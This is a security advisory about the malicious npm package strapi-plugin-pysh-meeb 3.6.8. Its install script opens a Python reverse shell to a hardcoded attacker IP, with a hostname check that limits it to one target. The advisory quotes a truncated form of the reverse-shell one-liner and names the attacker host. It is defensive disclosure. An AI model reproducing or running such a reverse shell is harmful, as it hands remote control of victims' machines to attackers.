VYPR

npm · Malicious package advisory

Malware

strapi-plugin-pysh-meeb

GHSA-jxxh-j7pf-pvj3

Malicious code in strapi-plugin-pysh-meeb (npm)

Details

**Severity:** Critical

**Affected versions:** `= 3.6.8`

## Source: amazon-inspector (188e8ecd93a0124135c178af848914dbd0f8cc7c3f9fdc7f5137fc94e46bb27d)
[email protected] ships a postinstall.js (also declared as the package main) that runs automatically on npm install. The script uses child_process to spawn a Python one-liner (`python3 -c 'import sys,socket,os,pty;...pty.spawn("sh")'`) which opens an outbound TCP connection to the hardcoded attacker IP 14.225.210.85:80 and hands an interactive PTY shell to the remote endpoint, giving full remote code execution on the installer's host. Detonation is gated by an os.hostname() equality check against 'ubuntu-fc-uvm', a targeting/evasion mechanism that suppresses the payload on other hosts while firing on the intended victim; retry logic is present to re-establish the connection. Package metadata is consistent with a typosquat dropper: the name mimics a Strapi plugin, the repository URL uses a placeholder 'user' org and a mismatched slug (strapi-plugin-yayccresh-meeb), and the description is a generic 'Strapi plugin for enhanced functionality'. No legitimate plugin functionality is shipped.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/77e1abe54c807a94ef54fde706a23385c94d9e9b/osv/malicious/npm/strapi-plugin-pysh-meeb/MAL-2026-16239.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/77e1abe54c807a94ef54fde706a23385c94d9e9b/osv/malicious/npm/strapi-plugin-pysh-meeb/MAL-2026-16239.json
- https://www.npmjs.com/package/strapi-plugin-pysh-meeb/v/3.6.8
- https://github.com/advisories/GHSA-jxxh-j7pf-pvj3

Compromised versions (1)

  • = 3.6.8

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.